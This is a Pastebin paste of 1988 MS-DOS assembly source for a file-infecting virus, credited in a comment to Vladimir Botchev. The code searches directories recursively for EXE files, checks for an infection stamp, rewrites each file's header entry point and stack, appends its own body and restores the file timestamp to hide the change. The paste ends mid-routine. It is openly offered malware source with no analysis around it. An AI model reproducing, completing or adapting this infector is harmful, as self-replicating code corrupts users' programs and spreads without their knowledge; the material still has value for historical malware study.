Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .MODEL SMALL
  2.  
  3. .CODE  
  4.  
  5.  
  6.  
  7. comment     /      
  8.  
  9.         Good luck!
  10.  
  11.        
  12.  
  13.         Vladimir Botchev, CICT-BAS, december 1988
  14.  
  15.        
  16.  
  17.         /
  18.  
  19.  
  20.  
  21. data_area   struc           ;Define a pattern for working data
  22.  
  23.                     ;area
  24.  
  25. DS_save     dw  ?
  26.  
  27. ES_save     dw  ?
  28.  
  29. IP_save     dw  ?
  30.  
  31. CS_save     dw  ?
  32.  
  33. SS_save     dw  ?
  34.  
  35. filematch   db  '*.exe',00h ;Names for files to infect
  36.  
  37. matchall    db      '*.*',00h   ;needed for the matching procedure
  38.  
  39. infected    dw  00h     ;A very useful flag
  40.  
  41. help_flag   dw  00h     ;These two flags are needed to
  42.  
  43. where_from_flag dw  00h     ;determine if virus is free running
  44.  
  45.                     ;or from an infected program
  46.  
  47.                     ;therefore it's very important
  48.  
  49.                     ;that where_from_flag value
  50.  
  51.                     ;is set to zero at assembly time
  52.  
  53. handle      dw  ?                  
  54.  
  55. ip_old      dw  ?       ;old instruction pointer
  56.  
  57. cs_old      dw  ?       ;old value of code segment
  58.  
  59. ss_old      dw  ?
  60.  
  61. far_push    dw  ?
  62.  
  63. save_push   dw  ?
  64.  
  65. buffer1     db  '\',63 dup (?)
  66.  
  67. virus_stamp db  'motherfucker'      ;Very hard to obtain in
  68.  
  69.                         ;a random way
  70.  
  71.  
  72.  
  73. buffer2     db  2b0h dup (?)
  74.  
  75. new_area    db  64 dup (?)
  76.  
  77. new_data    db  64 dup (?)
  78.  
  79. pointer1    dw  ?
  80.  
  81. pointer2    dw  ?
  82.  
  83. pointer3    dw  ?
  84.  
  85. pointer4    dw  ?
  86.  
  87. pointer5    dw  ?
  88.  
  89. pointer6    dw  ?
  90.  
  91. pointer7    dw  ?
  92.  
  93. pointer8    dw  ?
  94.  
  95.  
  96.  
  97. data_area   ends           
  98.  
  99.  
  100.  
  101.     org 100h            ;Defined for .com file as virus must
  102.  
  103.                     ;be able to run on itself
  104.  
  105. start:  call    setup_data      ;This is a near call therefore it's a
  106.  
  107.                     ;three byte instruction.It's purpose is
  108.  
  109.                     ;to catch correct data area address
  110.  
  111.                     ;even when virus is appended to the
  112.  
  113.                     ;infected .exe program
  114.  
  115. adjust  equ offset pgm_start    ;Known offset value  
  116.  
  117. pgm_start   label   word        ;  
  118.  
  119.  
  120.  
  121. virussize   equ 2793
  122.  
  123.    
  124.  
  125.  work:  mov ax,ds           ;Save old DS
  126.  
  127.     push    cs
  128.  
  129.     pop ds          ;Update to needed DS value
  130.  
  131.     mov si,offset buffer.DS_save  ;Put old DS in a quiet place
  132.  
  133.     sub si,adjust
  134.  
  135.     add si,bx
  136.  
  137.     mov [si],ax
  138.  
  139.    
  140.  
  141.     mov si,offset buffer.ES_save  ;Save it because Get DTA side effects
  142.  
  143.     sub si,adjust
  144.  
  145.     add     si,bx
  146.  
  147.     mov ax,es
  148.  
  149.     mov [si],ax
  150.  
  151.     push    cs          ;Imperative because DI usage
  152.  
  153.     pop es
  154.  
  155.    
  156.  
  157.     push    bx          ;It's imperative to always keep
  158.  
  159.                     ;this value unchanged
  160.  
  161.     mov ax,2f00h        ;Get DTA function call
  162.  
  163.     int 21h
  164.  
  165.    
  166.  
  167.     mov cx,bx           ;save address found
  168.  
  169.     pop bx
  170.  
  171.     mov si,offset buffer.pointer1
  172.  
  173.     sub si,adjust
  174.  
  175.     add si,bx
  176.  
  177.     mov [si],cx
  178.  
  179.     add si,2            ;Locate the segment immediately above
  180.  
  181.     mov ax,es
  182.  
  183.     mov [si],ax            
  184.  
  185.     push    cs
  186.  
  187.     pop es
  188.  
  189.  
  190.  
  191.     mov di,offset buffer.buffer1 ;adjust for first search
  192.  
  193.     inc di               ;Jump over the '\'
  194.  
  195.     sub di,adjust
  196.  
  197.     add di,bx
  198.  
  199.     mov dx,0000h
  200.  
  201.     push    bx
  202.  
  203.     call    search_exe
  204.  
  205.     pop bx
  206.  
  207.     mov si,offset buffer.where_from_flag
  208.  
  209.     sub si,adjust
  210.  
  211.     add si,bx
  212.  
  213.     cmp word ptr [si],0000h
  214.  
  215.     jnz infected_run
  216.  
  217.     int 020H
  218.  
  219.  
  220.  
  221. infected_run:
  222.  
  223.     mov si,offset buffer.pointer1
  224.  
  225.     sub si,adjust
  226.  
  227.     add si,bx
  228.  
  229.     mov dx,[si]
  230.  
  231.     push    ds
  232.  
  233.     mov ax,[si+2]
  234.  
  235.     mov ds,ax
  236.  
  237.     push    bx
  238.  
  239.     mov ax,1a00h
  240.  
  241.     int 21h
  242.  
  243.     pop bx
  244.  
  245.     pop ds          ;Restore original DTA
  246.  
  247.    
  248.  
  249.     mov si,offset buffer.ES_save
  250.  
  251.     sub si,adjust
  252.  
  253.     add si,bx
  254.  
  255.     mov ax,[si]
  256.  
  257.     mov es,ax           ;Restore ES
  258.  
  259.    
  260.  
  261.     ;Here you can do whatever you want
  262.  
  263.  
  264.  
  265.     push    bx
  266.  
  267.     call    mary_proc
  268.  
  269.     pop bx
  270.  
  271.  
  272.  
  273.    
  274.  
  275.  
  276.  
  277.     mov si,offset buffer.IP_save
  278.  
  279.     sub si,adjust
  280.  
  281.     add si,bx
  282.  
  283.     mov ax,[si]
  284.  
  285.     mov dx,[si+2]
  286.  
  287.     mov si,offset buffer.far_push   ;Restore original code
  288.  
  289.     sub si,adjust           ;segment
  290.  
  291.     add si,bx
  292.  
  293.     mov cx,[si]
  294.  
  295.     push    ax
  296.  
  297.     mov ax,cs
  298.  
  299.     sub ax,cx
  300.  
  301.     mov di,ax               ;For stack
  302.  
  303.     add dx,ax
  304.  
  305.     pop ax
  306.  
  307.    
  308.  
  309.     mov si,offset buffer.SS_save
  310.  
  311.     sub si,adjust           ;Restore stack segment
  312.  
  313.     add si,bx
  314.  
  315.     mov cx,word ptr [si]
  316.  
  317.     add cx,di
  318.  
  319.    
  320.  
  321.     push    es
  322.  
  323.     pop ds
  324.  
  325.    
  326.  
  327.     cli
  328.  
  329.     mov ss,cx
  330.  
  331.     sti
  332.  
  333.    
  334.  
  335.    
  336.  
  337.     push    dx
  338.  
  339.     push    ax
  340.  
  341.     retf
  342.  
  343.    
  344.  
  345.  
  346.  
  347. search_exe  PROC
  348.  
  349.  
  350.  
  351.     push    si
  352.  
  353.     push    dx
  354.  
  355.     call    transfer_filespec       ;transfer filename in another
  356.  
  357.                         ;working area
  358.  
  359.     call    find_first          ;try to find a first match
  360.  
  361.     jc  not_here            ;first match not found
  362.  
  363.     call    try_to_infect           ;if found try to infect
  364.  
  365.                         ;infected != 0 if success
  366.  
  367.     mov si,offset buffer.infected
  368.  
  369.     sub si,adjust
  370.  
  371.     add si,bx
  372.  
  373.     test    word ptr [si],0ffffh
  374.  
  375.     jz  try_next
  376.  
  377.     jmp quiet_exit
  378.  
  379.    
  380.  
  381. try_next:
  382.  
  383.     call    find_next           ;If infection was not succesful
  384.  
  385.                         ;try once more
  386.  
  387.     jc  not_here
  388.  
  389.  
  390.  
  391.     call    try_to_infect           ;If match found try to infect
  392.  
  393.         mov si,offset buffer.infected   ;again
  394.  
  395.     sub si,adjust
  396.  
  397.     add si,bx
  398.  
  399.     test    word ptr [si],0ffffh
  400.  
  401.     jz  try_next
  402.  
  403.  
  404.  
  405.     jmp quiet_exit          ;quiet exit simply jumps
  406.  
  407.                         ;to a return instruction
  408.  
  409. not_here:
  410.  
  411.     pop dx              ;If first searches are
  412.  
  413.     push    dx                  ;unsuccesful try a '*.*' match
  414.  
  415.     call    search_all
  416.  
  417.     call    find_first
  418.  
  419.     jnc attribute_test          ;i.e. expect probably to
  420.  
  421.                         ;find a subdirectory
  422.  
  423. quiet_exit:
  424.  
  425.     pop dx
  426.  
  427.     pop si
  428.  
  429.     ret
  430.  
  431.    
  432.  
  433. attribute_test:    
  434.  
  435.     mov si,dx               ;offset of DTA
  436.  
  437.     test    byte ptr [si+015h],010h     ;where attribute byte is to
  438.  
  439.                         ;be found.Try first with
  440.  
  441.                         ;subdirectory attribute
  442.  
  443.     jne dir_found           ;subdirectory found
  444.  
  445. more_tries:
  446.  
  447.     call    find_next           ;Since the search was initiated
  448.  
  449.                         ;with '*.*' if this is not a
  450.  
  451.                         ;directory try to found one
  452.  
  453.     jc  quiet_exit          ;No sense to search more
  454.  
  455.    
  456.  
  457.     test    byte ptr [si+015h],010h
  458.  
  459.     jz  more_tries          ;Search to the end
  460.  
  461. dir_found:
  462.  
  463.     cmp byte ptr [si+01Eh],02Eh     ;Compare with the subdirectory
  464.  
  465.                         ;mark '.'
  466.  
  467.     jz  more_tries          ;looking for files no
  468.  
  469.                         ;subdirectories
  470.  
  471.  
  472.  
  473.     call    dta_compute         ;Valid entry, now set some DTA
  474.  
  475.                         ;and continue to search
  476.  
  477.     push    ax
  478.  
  479.     mov ah,01Ah             ;Set DTA function call
  480.  
  481.     int 021h
  482.  
  483.     pop ax
  484.  
  485.     push    si
  486.  
  487.         mov si,offset buffer.infected  
  488.  
  489.     sub si,adjust
  490.  
  491.     add si,bx
  492.  
  493.     test    word ptr [si],0ffffh
  494.  
  495.     pop si
  496.  
  497.     jnz quiet_exit
  498.  
  499.  
  500.  
  501.     jmp more_tries         
  502.  
  503.  
  504.  
  505.  
  506.  
  507. search_exe  ENDP
  508.  
  509.  
  510.  
  511. dta_compute     PROC
  512.  
  513.  
  514.  
  515.     push    di              ;Save some registers
  516.  
  517.     push    si
  518.  
  519.     push    ax
  520.  
  521.     push    bx
  522.  
  523.     cld                 ;Up count for SI,DI pair
  524.  
  525.     mov si,dx               ;DTA address to SI
  526.  
  527.     add si,01EH             ;and add subdirectory
  528.  
  529.                         ;name offset
  530.  
  531.    
  532.  
  533. store_loop:
  534.  
  535.     lodsb  
  536.  
  537.     stosb  
  538.  
  539.     or  al,al
  540.  
  541.     jne store_loop          ;store loop
  542.  
  543.  
  544.  
  545.     std
  546.  
  547.     stosb  
  548.  
  549.     mov al,05Ch             ;Put in place the path name
  550.  
  551.                         ;constructor
  552.  
  553.                        
  554.  
  555.     stosb  
  556.  
  557.     add di,2                ;Adjust di for new searches
  558.  
  559.     call    search_exe          ;
  560.  
  561.                         ;a heavily recursion
  562.  
  563.                         ;
  564.  
  565.     pop bx              ;some cleanup and exit
  566.  
  567.                         ;
  568.  
  569.     pop ax
  570.  
  571.     pop si
  572.  
  573.     pop di
  574.  
  575.     ret
  576.  
  577.  
  578.  
  579. dta_compute     ENDP
  580.  
  581.  
  582.  
  583. try_to_infect   PROC               
  584.  
  585.  
  586.  
  587.     push    ax
  588.  
  589.     push    bx
  590.  
  591.     push    cx
  592.  
  593.     push    dx
  594.  
  595.     push    si
  596.  
  597.     push    di
  598.  
  599.    
  600.  
  601.     push    es
  602.  
  603.     push    bx
  604.  
  605.     mov ax,2f00h            ;Get DTA function call
  606.  
  607.     int 21h
  608.  
  609.     mov ax,bx
  610.  
  611.     pop bx
  612.  
  613.     mov si,offset buffer.pointer3
  614.  
  615.     sub si,adjust
  616.  
  617.     add si,bx
  618.  
  619.     mov [si],ax             ;Offset saved
  620.  
  621.     add     si,2
  622.  
  623.     mov ax,es
  624.  
  625.     mov [si],ax
  626.  
  627.     pop es              ;Segment located just above
  628.  
  629.  
  630.  
  631.     mov dx,offset buffer.new_data
  632.  
  633.     sub dx,adjust
  634.  
  635.     add dx,bx
  636.  
  637.     push    bx
  638.  
  639.     mov ax,1a00h
  640.  
  641.     int 21h             ;Set DTA function call
  642.  
  643.     pop     bx              ;It's very important to
  644.  
  645.                         ;save BX in all calls
  646.  
  647.  
  648.  
  649.     mov di,offset buffer.new_area
  650.  
  651.     mov si,offset buffer.buffer1
  652.  
  653.     sub di,adjust
  654.  
  655.     sub si,adjust
  656.  
  657.     add di,bx
  658.  
  659.     add si,bx
  660.  
  661.    
  662.  
  663.     cld                 ;Move previously found path-
  664.  
  665.                         ;name or filename to new
  666.  
  667.                         ;data area
  668.  
  669. move_path:                     
  670.  
  671.     lodsb
  672.  
  673.     stosb
  674.  
  675.     or  al,al
  676.  
  677.     jnz move_path
  678.  
  679.     std                 ;adjust DI to recieve
  680.  
  681.     mov al,'\'              ;filename.
  682.  
  683.     mov cx,0040h
  684.  
  685.     std                 ;Search backward
  686.  
  687.     repne   scasb
  688.  
  689.    
  690.  
  691.     mov si,offset buffer.pointer3
  692.  
  693.     sub si,adjust
  694.  
  695.     add si,bx
  696.  
  697.     mov ax,[si]
  698.  
  699.     mov si,ax
  700.  
  701.     add di,2               
  702.  
  703.  
  704.  
  705. o_kay:
  706.  
  707.     add si,001eh            ;The beginning of the
  708.  
  709.                         ;filename...
  710.  
  711.     cld                 ;Now move name
  712.  
  713.      
  714.  
  715. move_fnm:
  716.  
  717.     lodsb
  718.  
  719.     stosb
  720.  
  721.     or  al,al
  722.  
  723.     jnz move_fnm
  724.  
  725.                                    
  726.  
  727.     push    dx
  728.  
  729.     push    bx
  730.  
  731.     mov dx,offset buffer.new_area
  732.  
  733.     sub dx,adjust
  734.  
  735.     add dx,bx
  736.  
  737.     mov ax,3d02h            ;Open file with handle
  738.  
  739.                         ;for read/write
  740.  
  741.     int 21h
  742.  
  743.     pop bx
  744.  
  745.     pop dx
  746.  
  747.     jnc go_ahead            ;In case file cannot be opened
  748.  
  749.     jmp error_exit
  750.  
  751.    
  752.  
  753. go_ahead:
  754.  
  755.     mov si,offset buffer.handle
  756.  
  757.     sub si,adjust
  758.  
  759.     add si,bx
  760.  
  761.     mov [si],ax             ;Save handle
  762.  
  763.    
  764.  
  765.     push    bx
  766.  
  767.     mov bx,ax               ;Prepare for lseek
  768.  
  769.     push    dx
  770.  
  771.     mov cx,0000h            ;Look at the end of the file
  772.  
  773.     mov dx,0000h            ;Offset of -12 from the end
  774.  
  775.                         ;of the file
  776.  
  777.     mov ax,4202h            ;Lseek function call
  778.  
  779.     int 21h
  780.  
  781.     mov cx,dx
  782.  
  783.     pop dx
  784.  
  785.     pop bx
  786.  
  787.     jnc compute_length
  788.  
  789.     jmp close_error
  790.  
  791.    
  792.  
  793. compute_length:
  794.  
  795.  
  796.  
  797.     sub ax,000ch
  798.  
  799.     sbb cx,0000h            ;Exact position
  800.  
  801.    
  802.  
  803.  
  804.  
  805. save_offset:                    ;  
  806.  
  807.     mov si,offset buffer.pointer5
  808.  
  809.     sub si,adjust
  810.  
  811.     add si,bx
  812.  
  813.     mov [si],ax
  814.  
  815.     add si,2
  816.  
  817.     mov [si],cx
  818.  
  819.    
  820.  
  821.     push    bx
  822.  
  823.     push    dx
  824.  
  825.     mov si,offset buffer.handle
  826.  
  827.     sub si,adjust
  828.  
  829.     add     si,bx
  830.  
  831.     mov bx,[si]
  832.  
  833.     mov dx,ax
  834.  
  835.     mov ax,4200h            ;From beginning of file
  836.  
  837.     int 21h             ;Lseek function call
  838.  
  839.     pop dx
  840.  
  841.     pop bx
  842.  
  843.     jnc set_buffer
  844.  
  845.     jmp close_error
  846.  
  847.        
  848.  
  849. set_buffer:
  850.  
  851.     push    bx
  852.  
  853.     push    dx
  854.  
  855.     mov dx,offset buffer.new_data
  856.  
  857.     sub dx,adjust
  858.  
  859.     add dx,bx
  860.  
  861.     mov si,offset buffer.handle
  862.  
  863.     sub si,adjust
  864.  
  865.     add si,bx
  866.  
  867.     mov bx,[si]             ;Load handle
  868.  
  869.     mov cx,000ch
  870.  
  871.     mov ax,3f00h
  872.  
  873.     int 21h             ;Read function call
  874.  
  875.     pop dx
  876.  
  877.     pop bx
  878.  
  879.     jnc read_ok
  880.  
  881.     jmp close_error
  882.  
  883.    
  884.  
  885. read_ok:
  886.  
  887.     mov si,offset buffer.virus_stamp
  888.  
  889.     mov di,offset buffer.new_data
  890.  
  891.     sub si,adjust
  892.  
  893.     sub di,adjust
  894.  
  895.     add si,bx
  896.  
  897.     add     di,bx
  898.  
  899.     mov cx,12               ;Length of strings to
  900.  
  901.                         ;compare
  902.  
  903.     repe    cmpsb
  904.  
  905.     pushf
  906.  
  907.         mov si,offset buffer.infected  
  908.  
  909.     sub si,adjust
  910.  
  911.     add si,bx
  912.  
  913.     mov word ptr [si],0000h    
  914.  
  915.     popf
  916.  
  917.     jnz infect_it
  918.  
  919.  
  920.  
  921. close_error:
  922.  
  923.     mov si,offset buffer.handle
  924.  
  925.     sub si,adjust
  926.  
  927.     add si,bx
  928.  
  929.     push    bx
  930.  
  931.     mov bx,[si]
  932.  
  933.     mov ax,3e00h            ;Close file function call
  934.  
  935.     int 21h
  936.  
  937.     pop bx
  938.  
  939.     jmp error_exit
  940.  
  941.    
  942.  
  943. infect_it:                             
  944.  
  945.         mov si,offset buffer.infected  
  946.  
  947.     sub si,adjust
  948.  
  949.     add si,bx
  950.  
  951.     mov word ptr [si],7777h    
  952.  
  953.    
  954.  
  955.     mov si,offset buffer.where_from_flag
  956.  
  957.     sub si,adjust
  958.  
  959.     add si,bx
  960.  
  961.     mov ax,[si]
  962.  
  963.     sub     si,2
  964.  
  965.     mov [si],ax         ;This code effectively moves
  966.  
  967.                     ;where_from_flag into help_flag
  968.  
  969.                    
  970.  
  971.     add si,2
  972.  
  973.     mov [si],5a5ah      ;Ready to infect
  974.  
  975.     push    bx
  976.  
  977.     push    dx
  978.  
  979.     mov si,offset buffer.handle
  980.  
  981.     sub si,adjust
  982.  
  983.     add     si,bx
  984.  
  985.     mov bx,[si]
  986.  
  987.     xor cx,cx
  988.  
  989.     xor dx,dx
  990.  
  991.     mov ax,4200h            ;From beginning of file
  992.  
  993.     int 21h             ;Lseek function call
  994.  
  995.     pop dx
  996.  
  997.     pop bx
  998.  
  999.     jnc set_new_data
  1000.  
  1001.     jmp append_ok
  1002.  
  1003.    
  1004.  
  1005. set_new_data:
  1006.  
  1007.     push    bx
  1008.  
  1009.     push    dx
  1010.  
  1011.     mov dx,offset buffer.new_data
  1012.  
  1013.     sub dx,adjust
  1014.  
  1015.     add dx,bx
  1016.  
  1017.     mov si,offset buffer.handle
  1018.  
  1019.     sub si,adjust
  1020.  
  1021.     add si,bx
  1022.  
  1023.     mov bx,[si]             ;Load handle
  1024.  
  1025.     mov cx,001bh            ;Read formatted exe header
  1026.  
  1027.     mov ax,3f00h
  1028.  
  1029.     int 21h             ;Read function call
  1030.  
  1031.     pop dx
  1032.  
  1033.     pop bx
  1034.  
  1035.     jnc read_header
  1036.  
  1037.     jmp append_ok
  1038.  
  1039.  
  1040.  
  1041. read_header:
  1042.  
  1043.     nop                 ;some code to modify header
  1044.  
  1045.                         ;
  1046.  
  1047.            
  1048.  
  1049.     mov si,offset buffer.pointer5
  1050.  
  1051.     sub si,adjust
  1052.  
  1053.     add si,bx
  1054.  
  1055.     mov ax,[si]
  1056.  
  1057.     add si,2
  1058.  
  1059.     add ax,0ch
  1060.  
  1061.     adc word ptr [si],0000h
  1062.  
  1063.     sub si,2
  1064.  
  1065.     mov [si],ax         ;This code restores original
  1066.  
  1067.                     ;filelength
  1068.  
  1069.            
  1070.  
  1071.     mov si,offset buffer.new_data
  1072.  
  1073.     sub si,adjust
  1074.  
  1075.     add si,bx
  1076.  
  1077.     mov ax,[si]
  1078.  
  1079.     cmp ax,5a4dh        ;check for valid exe file
  1080.  
  1081.     jz  valid_exe
  1082.  
  1083.     jmp append_ok
  1084.  
  1085.    
  1086.  
  1087. valid_exe:
  1088.  
  1089.     mov ax,[si+8]       ;Load module size
  1090.  
  1091.     xor dx,dx
  1092.  
  1093.     shl ax,1
  1094.  
  1095.     rcl dx,1
  1096.  
  1097.     shl ax,1
  1098.  
  1099.     rcl dx,1
  1100.  
  1101.     shl ax,1
  1102.  
  1103.     rcl dx,1
  1104.  
  1105.     shl ax,1
  1106.  
  1107.     rcl dx,1            ;Multiply by 16
  1108.  
  1109.    
  1110.  
  1111.     push    ax
  1112.  
  1113.     push    dx          ;Adjust new size
  1114.  
  1115.     push    cx
  1116.  
  1117.     mov dx,virussize-896+64
  1118.  
  1119.     push    dx
  1120.  
  1121.     mov cx,0009h
  1122.  
  1123.     shr dx,cl
  1124.  
  1125.     add word ptr [si+4],dx
  1126.  
  1127.     pop dx
  1128.  
  1129.     and dx,01ffh
  1130.  
  1131.     add dx,word ptr [si+2]
  1132.  
  1133.     cmp dx,512
  1134.  
  1135.     jl  adjust_okay
  1136.  
  1137.     sub dx,512
  1138.  
  1139.     inc word ptr [si+4]
  1140.  
  1141. adjust_okay:
  1142.  
  1143.     mov word ptr [si+2],dx 
  1144.  
  1145.     pop cx
  1146.  
  1147.     pop dx
  1148.  
  1149.     pop ax
  1150.  
  1151.    
  1152.  
  1153.  
  1154.  
  1155.     push    si          ;This SI is very useful so save it
  1156.  
  1157.                            
  1158.  
  1159.     mov si,offset buffer.pointer5
  1160.  
  1161.     sub si,adjust
  1162.  
  1163.     add si,bx
  1164.  
  1165.     sub [si],ax
  1166.  
  1167.     mov ax,[si]
  1168.  
  1169.     sbb [si+2],dx
  1170.  
  1171.     mov dx,[si+2]       ;the byte size of the load module
  1172.  
  1173.            
  1174.  
  1175.  
  1176.  
  1177.     pop si
  1178.  
  1179.     push    ax
  1180.  
  1181.     push    dx
  1182.  
  1183.     mov ax,[si+14h]
  1184.  
  1185.     mov dx,[si+16h]     ;Get CS:IP value
  1186.  
  1187.     mov cx,[si+0eh]     ;Get SS value
  1188.  
  1189.     push    si
  1190.  
  1191.     mov si,offset buffer.IP_save
  1192.  
  1193.     sub si,adjust
  1194.  
  1195.     add si,bx
  1196.  
  1197.     xchg    [si],ax
  1198.  
  1199.     xchg    [si+2],dx
  1200.  
  1201.     mov si,offset buffer.SS_save
  1202.  
  1203.     sub si,adjust
  1204.  
  1205.     add si,bx
  1206.  
  1207.     xchg    [si],cx
  1208.  
  1209.     mov si,offset buffer.ip_old
  1210.  
  1211.     sub si,adjust
  1212.  
  1213.     add si,bx
  1214.  
  1215.     mov [si],ax
  1216.  
  1217.     mov [si+2],dx
  1218.  
  1219.     mov si,offset buffer.ss_old
  1220.  
  1221.     sub si,adjust
  1222.  
  1223.     add si,bx
  1224.  
  1225.     mov [si],cx
  1226.  
  1227.     pop si
  1228.  
  1229.     pop dx
  1230.  
  1231.     pop ax
  1232.  
  1233.    
  1234.  
  1235.     push    ax
  1236.  
  1237.     push    dx
  1238.  
  1239.    
  1240.  
  1241.     shl ax,1
  1242.  
  1243.     rcl dx,1
  1244.  
  1245.     shl ax,1
  1246.  
  1247.     rcl dx,1
  1248.  
  1249.     shl ax,1
  1250.  
  1251.     rcl dx,1
  1252.  
  1253.     shl ax,1
  1254.  
  1255.     rcl dx,1            ;Multiply by 16
  1256.  
  1257.    
  1258.  
  1259.     mov cx,0008h
  1260.  
  1261.     shl dx,cl
  1262.  
  1263.     mov cx,0004h
  1264.  
  1265.     shr ax,cl           ;A very obscure algorithm to make
  1266.  
  1267.                     ;a segment:offset pair
  1268.  
  1269.     mov [si+14h],ax
  1270.  
  1271.     mov [si+16h],dx     ;Infected values
  1272.  
  1273.  
  1274.  
  1275.     push    si
  1276.  
  1277.     mov si,offset buffer.far_push
  1278.  
  1279.     sub si,adjust
  1280.  
  1281.     add si,bx
  1282.  
  1283.     xchg    [si],dx
  1284.  
  1285.     mov word ptr [si+2],dx
  1286.  
  1287.     pop si
  1288.  
  1289.        
  1290.  
  1291.     pop dx
  1292.  
  1293.     pop ax
  1294.  
  1295.     add ax,virussize        ;
  1296.  
  1297.     adc dx,0000h
  1298.  
  1299.  
  1300.  
  1301.     mov cx,0003h   
  1302.  
  1303. mul_loop:
  1304.  
  1305.  
  1306.  
  1307.     shl ax,1
  1308.  
  1309.     rcl dx,1
  1310.  
  1311.     shl ax,1
  1312.  
  1313.     rcl dx,1
  1314.  
  1315.     shl ax,1
  1316.  
  1317.     rcl dx,1
  1318.  
  1319.     shl ax,1
  1320.  
  1321.     rcl dx,1            ;Multiply by 4096
  1322.  
  1323.     loop    mul_loop
  1324.  
  1325.                
  1326.  
  1327.     or  ax,ax
  1328.  
  1329.     jz  exact_value
  1330.  
  1331.     inc dx
  1332.  
  1333. exact_value:   
  1334.  
  1335.     mov [si+0eh],dx     ;Infected stack segment
  1336.  
  1337.        
  1338.  
  1339.                     ;Write back infected header
  1340.  
  1341.     push    si
  1342.  
  1343.     push    bx
  1344.  
  1345.     mov si,offset buffer.handle
  1346.  
  1347.     sub si,adjust
  1348.  
  1349.     add si,bx
  1350.  
  1351.     mov bx,[si]
  1352.  
  1353.     mov ax,5700h        ;Get time function
  1354.  
  1355.     int 21h
  1356.  
  1357.     pop bx
  1358.  
  1359.     pop si
  1360.  
  1361.     jnc correct_time
  1362.  
  1363.     jmp append_ok1
  1364.  
  1365.    
  1366.  
  1367. correct_time:
  1368.  
  1369.     push    cx
  1370.  
  1371.     push    bx
  1372.  
  1373.     push    dx
  1374.  
  1375.     mov si,offset buffer.handle
  1376.  
  1377.     sub si,adjust
  1378.  
  1379.     add     si,bx
  1380.  
  1381.     mov bx,[si]
  1382.  
  1383.     xor cx,cx
  1384.  
  1385.     xor dx,dx
  1386.  
  1387.     mov ax,4200h            ;From beginning of file
  1388.  
  1389.     int 21h             ;Lseek function call
  1390.  
  1391.     pop dx
  1392.  
  1393.     pop bx
  1394.  
  1395.     pop cx
  1396.  
  1397.     jnc continue_infection
  1398.  
  1399.     jmp append_ok1
  1400.  
  1401.    
  1402.  
  1403. continue_infection:
  1404.  
  1405.    
  1406.  
  1407.     push    cx
  1408.  
  1409.     push    dx
  1410.  
  1411.     push    bx
  1412.  
  1413.     mov dx,offset buffer.new_data
  1414.  
  1415.     sub dx,adjust
  1416.  
  1417.     add dx,bx
  1418.  
  1419.     mov si,offset buffer.handle
  1420.  
  1421.     sub si,adjust
  1422.  
  1423.     add si,bx
  1424.  
  1425.     mov bx,[si]             ;Load handle
  1426.  
  1427.     mov cx,001bh            ;Write infected exe header
  1428.  
  1429.     mov ax,4000h
  1430.  
  1431.     int 21h             ;Write function call
  1432.  
  1433.     pop bx
  1434.  
  1435.     pop dx
  1436.  
  1437.     pop cx
  1438.  
  1439.     jnc glue_virus
  1440.  
  1441.     jmp append_ok1
  1442.  
  1443.  
  1444.  
  1445. glue_virus:
  1446.  
  1447.                            
  1448.  
  1449.     push    cx
  1450.  
  1451.     push    bx
  1452.  
  1453.     push    dx
  1454.  
  1455.     mov si,offset buffer.handle
  1456.  
  1457.     sub si,adjust
  1458.  
  1459.     add     si,bx
  1460.  
  1461.     mov bx,[si]
  1462.  
  1463.     xor cx,cx
  1464.  
  1465.     xor dx,dx
  1466.  
  1467.     mov ax,4202h            ;From the end of file
  1468.  
  1469.     int 21h             ;Lseek function call
  1470.  
  1471.     pop dx
  1472.  
  1473.     pop bx
  1474.  
  1475.     pop cx
  1476.  
  1477.     jnc write_data
  1478.  
  1479.     jmp append_ok1
  1480.  
  1481.    
  1482.  
  1483. write_data:
  1484.  
  1485.    
  1486.  
  1487.     mov si,offset buffer.handle
  1488.  
  1489.     sub si,adjust
  1490.  
  1491.     add si,bx
  1492.  
  1493.    
  1494.  
  1495.     push    dx
  1496.  
  1497.     push    cx
  1498.  
  1499.    
  1500.  
  1501.     mov dx,bx
  1502.  
  1503.     sub dx,3                ;The starting three byte
  1504.  
  1505.                         ;call instruction
  1506.  
  1507.     push    es
  1508.  
  1509.     push    bx
  1510.  
  1511.     push    dx
  1512.  
  1513.     push    si
  1514.  
  1515.     mov ax,2f00h
  1516.  
  1517.     int 21h
  1518.  
  1519.     pop si
  1520.  
  1521.     pop dx
  1522.  
  1523.    
  1524.  
  1525.     push    es
  1526.  
  1527.     push    bx
  1528.  
  1529.    
  1530.  
  1531.     push    si
  1532.  
  1533.     mov ax,1a00h
  1534.  
  1535.     int 21h
  1536.  
  1537.     pop si
  1538.  
  1539.    
  1540.  
  1541.                            
  1542.  
  1543.     mov bx,[si]             ;Load handle
  1544.  
  1545.     mov cx,virussize-896+64     ;Length of virus obtained
  1546.  
  1547.     mov ax,4000h            ;with dir
  1548.  
  1549.     int 21h
  1550.  
  1551.     lahf                    ;Write function call
  1552.  
  1553.  
  1554.  
  1555.     pop bx
  1556.  
  1557.     pop es
  1558.  
  1559.    
  1560.  
  1561.     push    ds
  1562.  
  1563.     push    es
  1564.  
  1565.     pop ds
  1566.  
  1567.     mov dx,bx
  1568.  
  1569.     push    ax
  1570.  
  1571.     mov ax,1a00h
  1572.  
  1573.     int 21h
  1574.  
  1575.     pop ax
  1576.  
  1577.    
  1578.  
  1579.     pop ds
  1580.  
  1581.     pop bx
  1582.  
  1583.     pop es
  1584.  
  1585.    
  1586.  
  1587.     pop cx
  1588.  
  1589.     pop dx
  1590.  
  1591.    
  1592.  
  1593.     sahf
  1594.  
  1595.     jnc put_stamp           ;Error or not file
  1596.  
  1597.     jmp append_ok1          ;is closed 
  1598.  
  1599.    
  1600.  
  1601. put_stamp:
  1602.  
  1603.     push    bx
  1604.  
  1605.     mov si,offset buffer.handle
  1606.  
  1607.     sub si,adjust
  1608.  
  1609.     add si,bx
  1610.  
  1611.     mov bx,[si]
  1612.  
  1613.     mov ax,5701h        ;Set time function
  1614.  
  1615.     int 21h
  1616.  
  1617.     pop bx
  1618.  
  1619.  
  1620.  
  1621. append_ok1:
  1622.  
  1623.  
  1624.  
  1625.     mov si,offset buffer.ip_old ;Restore previous CS:IP values
  1626.  
  1627.     sub si,adjust
  1628.  
  1629.     add si,bx
  1630.  
  1631.     mov ax,[si]
  1632.  
  1633.     mov dx,[si+2]
  1634.  
  1635.     mov si,offset buffer.IP_save
  1636.  
  1637.     sub si,adjust
  1638.  
  1639.     add si,bx
  1640.  
  1641.     mov [si],ax
  1642.  
